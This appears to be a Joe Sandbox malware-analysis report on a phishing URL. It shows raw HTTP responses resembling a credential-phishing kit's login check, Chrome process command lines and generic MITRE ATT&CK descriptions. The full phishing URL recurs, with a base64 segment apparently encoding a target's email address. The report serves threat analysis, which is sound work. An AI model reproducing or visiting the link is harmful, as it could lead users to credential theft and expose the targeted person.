CF-RAY: 8cbcafa7dcbc0f7c-EWR
2024-10-01 13:09:16 UTC	385	IN	Data Raw: 31 62 30 0d 0a 7b 22 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 69 73 5f 62 75 73 69 6e 65 73 73 22 3a 66 61 6c 73 65 2c 22 65 64 75 22 3a 66 61 6c 73 65 2c 22 72 6f 6c 65 22 3a 66 61 6c 73 65 2c 22 61 70 70 22 3a 66 61 6c 73 65 2c 22 32 66 61 22 3a 66 61 6c 73 65 2c 22 73 6d 73 22 3a 66 61 6c 73 65 2c 22 61 70 70 63 6f 64 65 22 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 22 3a 66 61 6c 73 65 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6e 6f 72 6d 61 6c 22 3a 66 61 6c 73 65 2c 22 72 65 73 75 6c 74 22 3a 22 7b 26 71 75 6f 74 3b 65 72 72 6f 72 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 63 6f 64 65 26 71 75 6f 74 3b 3a 36 30 30 32 2c 26 71 75 6f 74 3b 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 26 71 Data Ascii: 1b0{"live":false,"is_business":false,"edu":false,"role":false,"app":false,"2fa":false,"sms":false,"appcode":false,"call":false,"sso":false,"okta":false,"adfs":false,"normal":false,"result":"{"error":{"code":6002,"correlationId&q
2024-10-01 13:09:16 UTC	54	IN	Data Raw: 72 75 65 2c 26 71 75 6f 74 3b 6d 65 73 73 61 67 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 41 41 44 53 54 53 31 36 35 39 30 30 26 71 75 6f 74 3b 7d 7d 22 7d 0d 0a Data Ascii: rue,"message":"AADSTS165900"}}"}
2024-10-01 13:09:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:07:58
Start date:	01/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	09:07:59
Start date:	01/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1856,i,9850766657152717928,4042590119309119536,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:08:00
Start date:	01/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20="
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Windows Analysis Report
https://vwkugoia0yciq0buttompanj2.ntvultra.com/viciorhthvgh/forhwural/coupletri/QdhahVchT/yEjbKM/anNhbGFzQGhvbGxhbmRjby5jb20=